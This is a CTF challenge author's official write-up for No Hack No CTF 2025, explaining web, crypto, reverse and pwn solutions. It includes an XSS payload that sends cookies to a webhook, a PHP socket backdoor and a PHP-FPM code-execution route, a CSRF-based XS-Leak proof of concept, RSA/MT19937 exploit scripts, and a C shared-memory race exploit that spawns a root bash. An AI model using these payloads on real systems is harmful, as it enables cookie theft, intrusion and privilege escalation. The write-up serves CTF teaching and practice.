No Hack No CTF 2025 Official Write Up - Whale120

Before all

Welcome to the No Hack No CTF Event this year, I made some “relatively harder” crypto and web challenges in the event, with some “relatively easier” ones.
And one guessy challenge, which is just a pure waste of time

Hope u guys love them, and … actually, I didn’t expect like as much as like 400~500 players will participate in this year’s rating 0 event, with some strong teams…so the challenge difficulty may not hard enough XD

After all, I think u can probably looking forward to my(our) challenges next year, trust me, will be funnier!

Web

Actually…just picking categories my teammates haven’t done yet…
But all my favorite ones in web category!
image

XXS XSS

  • Difficuly: 5/10
  • Tips: Open Redirect to XSS(javasciprt: protocol trick)

A XSS Challenge
Just take a look at this part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>

function getQueryParam(key) {
const params = new URLSearchParams(window.location.search);
return params.get(key) || '';
}

const name = getQueryParam('name');
const targetUrl = getQueryParam('url');

const display = document.getElementById('displayName');
display.textContent = name || 'Guest';

setTimeout(() => {
if (targetUrl && targetUrl.length<=15) {
window.location.href = targetUrl;
}
}, 3000);
</script>

You can set a name that the website will show on your screen, also, a redirect url with length < 15
It’s seemingly that the only way to exploit XSS is to abuse the redirect function, but how can we steal the cookie with like less then 15 chars (contains javascript: string)

A fun feature: if javascript: url was appended with a javascript variable, then the page will render the variable value

So just put the payload at name, and then redirect to javascript:name can solve it!
Final Payload:

1
?name=<img src=x onerror="location.href='webhookurl/'+btoa(document.cookie)"&url=javascript:name

When?

  • Difficuly: 6/10
  • Tips: Nginx /file../ LFI Bug + Attacking PHP-FPM

A cute black box challenge, with a view-source, we will find a /file directory (favicon.ico location) allow listing:
image

image

Query some strange stuffs like /file/whale will leak that it’s hosted on NGINX, or via guessing

image

In nginx config file, it’s well known that this kind of setting will lead to path traversal for one file layer:

1
2
3
4
5
6
location /file {
alias /app/file/;
autoindex on;
autoindex_exact_size off;
autoindex_localtime on;
}

image
take a look at socket-test-8cb09a.php~

1
2
3
4
5
6
7
8
<?php
$ip = $_GET['ip'];
$port = (int)$_GET['port'];
$data = base64_decode($_GET['data']);
$socket = fsockopen($ip, $port);
fwrite($socket, $data);
fclose($socket);
?>

through nginx.conf, we’ll also find that it’s based on php-fpm, which is vulnerable via changing its setting auto_prepend_file = php://input and allow_url_include = On, after that, every post body (pass to php://input) will be seem as a php code and excute.

In this step, there’re many exploits online like this one: https://gist.github.com/Jimmy01240397/c833ef20bac520ce8212147fb8457d1a, by my friend chumy.

with the socket backdoor, just pass the payload(base64 encoded) to it and we’ll obtain a shell!

NOT XSS

  • Difficuly: 9/10
  • Tips: XSLeak (Via Cookie Size, STTF)

A word guessing game, target is flag, but only admin bot can visit it and also, with CORS.
The best match value and a note (will be rendered with HTML) will be stored in cookie

The stored note will be rendered, but with a DOMPurify Protection!
Just don’t mind those PoW stuffs, as I said above, it’s impossible to do a XSS, so time to think about XSLeak.

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from flask import Flask, request, render_template, jsonify, make_response, abort, session
from flask_cors import CORS
import subprocess
import threading
import hashlib
import os
import time

app = Flask(__name__, static_folder='static', template_folder='templates')
app.secret_key = os.urandom(16)
CORS(app, resources={r"/*": {"origins": "http://127.0.0.1:5000"}}, supports_credentials=True)

FLAG = 'NHNC{B1g_c00k13_a193eb}'

def terminate_process(process):
process.terminate()
print("Process terminated after 20 seconds.")

def common_prefix(a: str, b: str) -> str:
i = 0
while i < len(a) and i < len(b) and a[i] == b[i]:
i += 1
return a[:i]

def restrict_remote_addr():
if request.remote_addr != '127.0.0.1':
abort(403)

@app.route('/get_challenge', methods=['GET'])
def get_challenge():
challenge = os.urandom(8).hex()
session['challenge'] = challenge
session['ts'] = time.time()
return jsonify({
"challenge": challenge,
"description": "Find a nonce such that SHA256(challenge + nonce) starts with 000000"
})

@app.route('/visit', methods=['GET'])
def visit():
url = request.args.get('url')
nonce = request.args.get('nonce')

if not url or not nonce:
return "Missing url or nonce", 400

if not url.startswith('http://'):
return "Bad Hacker", 400

challenge = session.get('challenge')
ts = session.get('ts')

if not challenge or not ts:
return "No challenge in session. Please request /get_challenge first.", 400

if time.time() - ts > 60:
session.pop('challenge', None)
session.pop('ts', None)
return "Challenge expired. Please request a new one.", 400

h = hashlib.sha256((challenge + nonce).encode()).hexdigest()
if not h.startswith("000000"):
return "Invalid PoW", 400

# No reuse of PoW
session.pop('challenge', None)
session.pop('ts', None)

process = subprocess.Popen(['chromium', url, '--headless', '--disable-gpu', '--no-sandbox', '--disable-popup-blocking'],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
timer = threading.Timer(20, terminate_process, [process])
timer.start()
return "Admin is visiting your page!"

@app.route('/')
def index():
restrict_remote_addr()
return render_template('index.html')

@app.route('/inner.html')
def inner():
restrict_remote_addr()
return render_template('inner.html')


@app.route('/guess', methods=['POST'])
def guess():
restrict_remote_addr()

guess_str = request.form.get('guess')
note = request.form.get('note')

if not guess_str or not note:
return jsonify({'error': 'invalid payload'}), 400
current_shared = common_prefix(guess_str, FLAG)

old = request.cookies.get('best', '')
old_prefix = bytes.fromhex(old.split(':', 1)[0]).decode() if ':' in old else ''

best_prefix = old_prefix if len(old_prefix) > len(current_shared) else current_shared

resp = make_response(jsonify({'best_prefix': best_prefix, 'note': note}))
resp.set_cookie('best', f"{best_prefix.encode().hex()}:{note.encode().hex()}")
return resp


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>GueSS NOT XSS</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.6/purify.min.js" crossorigin="anonymous"></script>
<style>
body { font-family: sans-serif; max-width: 600px; margin: auto; padding: 1rem; }
input, button { font-size: 1rem; padding: 0.5rem; margin: 0.5rem 0; width: 100%; }
#status-container { border: 1px solid #ccc; padding: 1rem; border-radius: 8px; }
</style>
</head>
<body>
<h1>GueSS NOT XSS</h1>
<div id="status-container"></div>

<!-- 改动:form 加上 action 和 method -->
<form id="guess-form" action="/guess" method="post" enctype="application/x-www-form-urlencoded">
<label>
Next guess:<br>
<input type="text" name="guess" id="guess" required placeholder="Enter your guess">
</label><br>
<label>
Your note:<br>
<input type="text" name="note" id="note-input" placeholder="Optional note">
</label><br>
<button type="submit">Submit</button>
</form>

<script>
async function loadStatus() {
function hexDecode(hex) {
hex = hex.replace(/^0x/, '');
if (hex.length % 2 !== 0) throw new Error('Invalid hex string');
let out = '';
for (let i = 0; i < hex.length; i += 2) {
out += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return out;
}

const res = await fetch('/inner.html', { credentials: 'include' });
let html = await res.text();
html = DOMPurify.sanitize(html);
document.getElementById('status-container').innerHTML = html;

const cookie = document.cookie.split('; ').find(row => row.startsWith('best='));
if (cookie) {
const val = decodeURIComponent(cookie.split('=')[1]);
const [prefixHex, noteHex] = val.split(':');
const best = hexDecode(prefixHex) || '(none)';
const note = DOMPurify.sanitize(hexDecode(noteHex)) || '(none)';
document.getElementById('best-prefix').textContent = best;
document.getElementById('note').innerHTML = note;
}
}

document.getElementById('guess-form').addEventListener('submit', async e => {
e.preventDefault();
const form = e.target;
const formData = new FormData(form);

await fetch(form.action, {
method: form.method,
credentials: 'include',
body: formData
});

await loadStatus();
form.reset();
});

window.addEventListener('DOMContentLoaded', loadStatus);
</script>
</body>
</html>

Every time I deal with a XSLeak challenge, I think it’ll be very usefull to think about what’s the diffrences between a “right” hit and a “wrong” hit.

In this challenge, is the cookie matters.
Nowadays, almost every browser has a limit size for its cookie. Combine this feature with a render functionality in index.html, we can construct an “error-based” XSLeak with an oracle of “if the webhook server is hitted or not”

Just a piece of PoC:
index.php, which the admin bot will visit

1
2
3
4
5
6
7
<script>
const win = window.open('/exp.html', 'exploit');

setTimeout(() => {
window.open('http://127.0.0.1:5000/', 'exploit');
}, 100);
</script>

exp.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<form id="csrfForm" action="http://127.0.0.1:5000/guess" method="POST" enctype="multipart/form-data">
<input type="hidden" name="guess" value="NH">
<input type="hidden" name="note" value="<h1>NH</h1><img src=http://webhook/NH>J</h1>a.....a">
</form>

<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>

Like this, if NG was hitted on the server, but not NH, then we knows that NH is the prefix part of flag.
Later, just automate this approach with a backend server dynamic changing exp.html … should be fine … if my VM wasn’t broken
So sorry for uploaded an old, unsolvable version on CTFd QwQ

Crypto

This was what I said last year…
image

bloCkchAin ciphEr’S sERcret

  • Difficuly: 2/10
  • Tips: Baby Blockchain + Baby Caeser Cipher
    Challenge Description:
    1
    2
    3
    4
    My friend, you know...
    There're tooooo many of those GPTable Crypto Challenges and Baby Crypto stuffs...
    So I implemented a baby one on blockchain!
    Sepolia test net, address: 0x9C71c90140162a5BAE7159Ec5CC4C86FAddCBfb6
    chal.sol
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

    contract Challenge {
    function encrypt(string memory text) public pure returns (string memory) {
    // some tasty stuffs!
    }
    function get_flag() public pure returns (string memory) {
    // some tasty stuffs!
    }
    }
    I used Remix IDE, just take it easy if u know some more powerful tools !
    With some trials, you’ll find out that encrypt is just a caeser cipher with key = 7.
    image

run get_flag and “DECODE” it with key = 7 will get the flag

🐺 Verifier

  • Difficuly: 6/10
  • Tips: MT19937 + BroadCast Attack

Exploit Scripts for the series are from my teammate @wang, thanks a lot to her for testing my challenges.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from random import getrandbits

SIZE = 64
FLAG = bytes_to_long(b'NHNC{using_big_intergers_in_python_is_still_a_pain}')
e = 37
p, q = getPrime(1024), getPrime(1024)
while ((p-1)*(q-1)) % e == 0 :
p, q = getPrime(1024), getPrime(1024)
N = p*q

print("=== ICEDTEA Verifier 1.0 ===")

while True:
OTP = getrandbits(SIZE)
print(f"signed: {pow(OTP, e, N)}")
TRIAL = int(input("OTP: "))
if TRIAL == OTP:
print(f"signed: {pow(FLAG, e, N)}")
continue

print(f"Invalid OTP, {OTP}")

Well… the challenge has three parts!

  1. Predict MT19937 Generator with 64 bits random number generated everytime.
  2. Obtain N from leaked signatures and OTPs.
  3. Recover Flag.

Step 1 is trivial while MT19937 is just a $GF_2$ linear equation problem, there was like a bunch of exploit scripts online especially for 2**32 sizes numbers, which can actually be implanted to python random lib as seeds XD

Step 2:
Via $gcd(OTP_1^{37}-signature_1, OTP_2^{37}-signature_2, OTP_3^{37}-signature_3, …) = N$
Step 3:
We can get a bunch of FLAG^37 taking mod with different Ns by connect to the server many times, just a simple broadcast attack!

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from extend_mt19937_predictor import ExtendMT19937Predictor
from pwn import *
from Crypto.Util.number import *
from gmpy2 import iroot
from functools import reduce
from tqdm import tqdm
from sage.all import *
n = []
c = []
for _ in tqdm(range(37)):
r = remote('chal.78727867.xyz', 31337)
mt = []
sign = []
r.recvline()

for i in range(312):
sign.append(int(r.recvline().decode().strip().split(': ')[1]))
r.sendlineafter(b'OTP: ', str(i).encode())
tmp = int(r.recvline().strip().split(b', ')[1].decode())
mt.append(tmp)

predictor = ExtendMT19937Predictor()
for num in mt:
predictor.setrandbits(num, 64)

opt = predictor.predict_getrandbits(64)

r.sendlineafter(b'OTP: ', str(opt).encode())
sign_flag = int(r.recvline().decode().strip().split(': ')[1])
c.append(sign_flag)
N = reduce(gcd, [pow(mt[i], 37) - sign[i] for i in range(100)])
n.append(N)
r.close()

m37 = crt(c, n)
m, ok = iroot(m37, 37)
if ok:
print(long_to_bytes(m))

🐺 Verifier +

  • Difficuly: 7/10
  • Tips: MT19937 + Franklin-Reiter Attacks
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from random import getrandbits

SIZE = 65
FLAG = bytes_to_long(b'NHNC{errors_lead_to_lll_huh_?_what_are_u_thinking_about}')
e = 37
p, q = getPrime(1024), getPrime(1024)
while ((p-1)*(q-1)) % e == 0 :
p, q = getPrime(1024), getPrime(1024)
N = p*q

print("=== ICEDTEA Verifier 1.1 ===")

while True:
OTP = getrandbits(SIZE)
print(f"signed: {pow(OTP, e, N)}")
TRIAL = int(input("OTP: "))
if TRIAL == OTP:
super_secret = getrandbits(1024)
print(f"signed: {pow(FLAG + super_secret, e, N)}")
continue

print(f"Invalid OTP, {OTP}")

Just note that we’ll obtain 65 bits random numbers everytime, and flag will be masked by addition then encrypt.

With two addition(linear related) ciphertexts, it’s well known to perform Franklin-Reiter Attack, its principle is changing the relations into polynomials and GCD them under Zmod(N).
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
from Crypto.Util.number import *
import math
from functools import reduce
from contextlib import contextmanager
from time import perf_counter
from gf2bv import LinearSystem
from gf2bv.crypto.mt import MT19937
from sage.all import *
from tqdm import tqdm

@contextmanager
def timeit(task_name):
start = perf_counter()
try:
yield
finally:
end = perf_counter()
print(f"{task_name} took {end - start:.2f} seconds")

def attack(c1, c2, a, b, e, n):
# 在模 n 上建立一元多項式環
PR = PolynomialRing(Zmod(n), 'x')
x = PR.gen()

# 兩條多項式
g1 = x**e - c1
g2 = (a*x + b)**e - c2
g2 = g2.monic()

def _gcd(f, g):
while not g.is_zero():
f, g = g, f % g
return f.monic()

# 計算 GCD,並回傳 -多項式的常數項
gg = _gcd(g1, g2)
return -gg[0]

bs = 65
effective_bs = ((bs - 1) & bs) or bs
samples = 624 * 32 // effective_bs + 800

# context.log_level = 'debug'

r = remote('chal.78727867.xyz', 31338)
# r = remote('127.0.0.1', 7777)

opts = []
sign = []

r.recvline()

for i in tqdm(range(samples)):
sign.append(int(r.recvline().decode().strip().split(': ')[1]))
r.sendlineafter(b'OTP: ', str(i).encode())
tmp = int(r.recvline().strip().split(b', ')[1].decode())
opts.append(tmp)

lin = LinearSystem([32] * 624)
mt = lin.gens()
rng = MT19937(mt)
with timeit("generate system"):
zeros = [rng.getrandbits(bs) ^ o for o in opts] + [mt[0] ^ 0x80000000]
print("solving...")
with timeit("solve_one"):
sol = lin.solve_one(zeros)
print("solved", sol[:10])
rng = MT19937(sol)
pyrand = rng.to_python_random()
assert all(rng.getrandbits(bs) == o for o in opts)
assert all(pyrand.getrandbits(bs) == o for o in opts)

opt1 = rng.getrandbits(bs)
s1 = rng.getrandbits(1024)
opt2 = rng.getrandbits(bs)
s2 = rng.getrandbits(1024)
print(opt1, opt2)

r.sendlineafter(b'OTP: ', str(opt1).encode())
line = r.recvline().decode().strip()
print(line)
c1 = int(line.split()[1])

N = reduce(math.gcd, [pow(opts[i], 37) - sign[i] for i in range(100)])
print(f"N: {N}")

r.sendlineafter(b'OTP: ', str(opt2).encode())
line = r.recvline().decode().strip()
print(line)
c2 = int(line.split()[1])

r.close()

m = int(attack(c1, c2 , 1, s2 - s1, 37, N))
print(long_to_bytes(m - s1))

🐺 Verifier Max

  • Difficuly: 8/10
  • Tips: MT19937 + Franklin-Reiter Attacks + AGCD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from random import getrandbits

SIZE = 65
FLAG = bytes_to_long(b'NHNC{can_u_come_up_with_an_idea_for_verifier_turbo?!}')
e = 37
p, q = getPrime(1024), getPrime(1024)
while ((p-1)*(q-1)) % e == 0 :
p, q = getPrime(1024), getPrime(1024)
N = p*q

print("=== ICEDTEA Verifier 1.2 ===")

while True:
OTP = getrandbits(SIZE)
print(f"signed: {pow(OTP, e, N) >> SIZE}")
TRIAL = int(input("OTP: "))
if TRIAL == OTP:
super_secret = getrandbits(1024)
print(f"signed: {pow(FLAG + super_secret, e, N)}")
continue

print(f"Invalid OTP, {OTP}")

DIFF: signatures losing their last 65 bits.
This is a AGCD Problem this time.
If you haven’t seen that before, I strongly recommend to see some posts like: https://martinralbrecht.wordpress.com/2020/03/21/the-approximate-gcd-problem/
It’s principle is to turn the relation into a linear equation which roots are much more smaller than coefficients, just a classic LLL condition.

An easy construct of lattices may be like this:

1
2
[sign_1^37-OTP_1, -1, 0
sign_2^37-OTP_2, 0, 1]

it should came up with something like (sign_1^37-OTP_1)//N', the N’ value may be like N*(small number), just do it more times and GCD them.

Reverse

Yep, a crypto&web player auditing reverse challenges, somehow is because someone delayed…
image

image

image

Yep another smake game

  • Difficuly: 3/10
  • Tips: Godot, WASM Game Hacking

yep, another snake game.
Via view-source or F-12 console logs, we can easily spot that’s a godot game.
There’re a bunch of Godot unpackers online, but actually I made this challenge after I saw this:

What’s more, there’s a tool based on this talk, just with the same usage with CheatEngine…

https://github.com/Qwokka/Cetus

With this issue, we learned how to modify values!
https://github.com/Qwokka/Cetus/issues/76

1
cetus.modifyMemory(0x0186c950, 1333337, "i32");

image

image

IECD-SHELL

  • Difficuly: 3/10
  • Tips: NodeJs, Malware

A malware+packet was provided

image

Seems to be a nodejs pkg packed exe
unpack via https://github.com/LockBlock-dev/pkg-unpacker/tree/master, found AES Key and method (CBC)

image

AES CBC Mode is based on key + IV

let’s see more … because I’m to lazy to read those js byte codes XD
open the pcapng file with WireShark, follow TCP Streams, the client first sent a 16 bytes string to the machine, then they start comunication… ?!

image

The string probably be the IV value XD
image

PWN

image

Server Status (and revenge)

  • Difficuly: 4/10
  • Tips: Shared Memory Attack

A privilege escalation challenge with a SUID TOCTOU in it, and yep, this challenge was made in a hurry so I made some stupid mistakes.

Decompile the program via IDA.

When the program started

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v3; // eax
unsigned int v4; // ebp
__int64 v5; // rax
void *v6; // r12

puts("=== Server Status Monitor v1.0 ===");
puts("System diagnostic tool with root privileges\n");
v3 = sub_15B0("dmesg");
if ( v3 == -1 )
{
puts("Failed to store command in shared memory");
return 1LL;
}
else
{
v4 = v3;
sub_17B0();
puts("Initializing...");
puts("Hacking Nasa...");
sub_1760();
puts("Done!");
v5 = sub_1680(v4);
v6 = (void *)v5;
if ( v5 )
{
if ( (unsigned int)sub_1870(v5) )
{
free(v6);
sub_1720(v4);
puts("\nSystem status check completed successfully!");
return 0LL;
}
else
{
puts("Command execution failed!");
free(v6);
sub_1720(v4);
return 1LL;
}
}
else
{
puts("Failed to retrieve command from shared memory");
sub_1720(v4);
return 1LL;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall sub_15B0(char *src)
{
unsigned int v2; // eax
unsigned int v3; // r12d
int v4; // eax
char *v5; // rdi
char *v6; // rax

v2 = time(0LL);
srand(v2);
v3 = rand() % 0xFFFFF;
v4 = shmget(v3, 0x400uLL, 950);
if ( v4 == -1 )
{
v3 = -1;
perror("shmget failed");
}
else
{
v5 = (char *)shmat(v4, 0LL, 0);
if ( v5 == (char *)-1LL )
{
v3 = -1;
perror("shmat failed");
}
else
{
v6 = strncpy(v5, src, 0x3FFuLL);
v6[1023] = 0;
shmdt(v6);
}
}
return v3;
}

It gets a shared memory block with a key_t generated by rand via time(NULL) as seed, and puts our command dmesg into it.

Later it will run the command after a short period of sleep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int sub_1760()
{
int v0; // ebx

v0 = 40;
do
{
putc(42, stdout);
fflush(stdout);
usleep(0xC350u);
--v0;
}
while ( v0 );
return putc(10, stdout);
}

Last, it will just run the shared memory block as a command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall sub_1870(const char *a1)
{
FILE *v1; // rax
FILE *v2; // rbp
__int64 result; // rax
char v4[1032]; // [rsp+0h] [rbp-428h] BYREF
unsigned __int64 v5; // [rsp+408h] [rbp-20h]

v5 = __readfsqword(0x28u);
v1 = popen(a1, "r");
if ( v1 )
{
v2 = v1;
puts("=== Command Output ===");
while ( fgets(v4, 1024, v2) )
__printf_chk(1LL, "%s", v4);
puts("=== End of Output ===");
pclose(v2);
result = 1LL;
}
else
{
perror("popen failed");
result = 0LL;
}
if ( v5 != __readfsqword(0x28u) )
return term_proc();
return result;
}

Since linux shared memory structure can be access by different process, we can edit the shared memory blocks with keys generated by random around the time, change the command and get shell!
exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/shm.h>
#include <unistd.h>

int main() {
printf("=== Tiny Encrypt Shared Memory Race Condition Exploit ===\n");
printf("Attempting to hijack shared memory...\n");

time_t now = (unsigned int) time(NULL);
srand(now);

for (int time_offset = -2; time_offset <= 2; time_offset++) {
srand(now + time_offset);
int key = rand() % 0xfffff;

printf("Trying key: 0x%X (time offset: %d)\n", key, time_offset);

int shmid = shmget(key, 0x400, 0x3b6);
if (shmid != -1) {
char *h_shm = shmat(shmid, (void *) 0, 0);
if (h_shm != (char *)-1) {
printf("Successfully connected to shared memory!\n");
printf("Original content: %s\n", h_shm);

snprintf(h_shm, 0x400, "bash");
printf("Modified content to: %s\n", h_shm);

shmdt(h_shm);
return 0;
}
}
}

printf("Failed to find target shared memory segment.\n");
printf("The program might not be running or already finished.\n");

return 1;
}

But I forget to use a full PATH like /usr/bin/dmesg, so a PATH abuse can be done

GuessyCTF

GuessyCTF

Just a pure waste of time
After all, have fun (cuz this is just for fun) and relax XD
I was just like, oh, why not making a challenge fullfill as much as possible boxes on the “Bad CTF Bingo”
Let’s go!
image

image
Steps
Step 1. Extract GIF and get “URL”
image

Step 2. nc to it! is a calculator, and also, 42 is the best answer

image

Step 3. Decrypt the message with keys in discord servers!

image

Yep, like this
key characters or words are all inside < and >

Step 4. Find a wierd twitter guy and crack his blog’s password via SQL Injection
image

Or

Take a look at my github
https://github.com/William957-web/My-CTF-Challenges/blob/main/README.md#2024-%E6%98%A5%E5%AD%A3%E7%A4%BE%E5%85%A7%E8%B3%BD

In here: https://hackmd.io/@Whale120/S1drvBYlR#/ has a solution for this XD

After all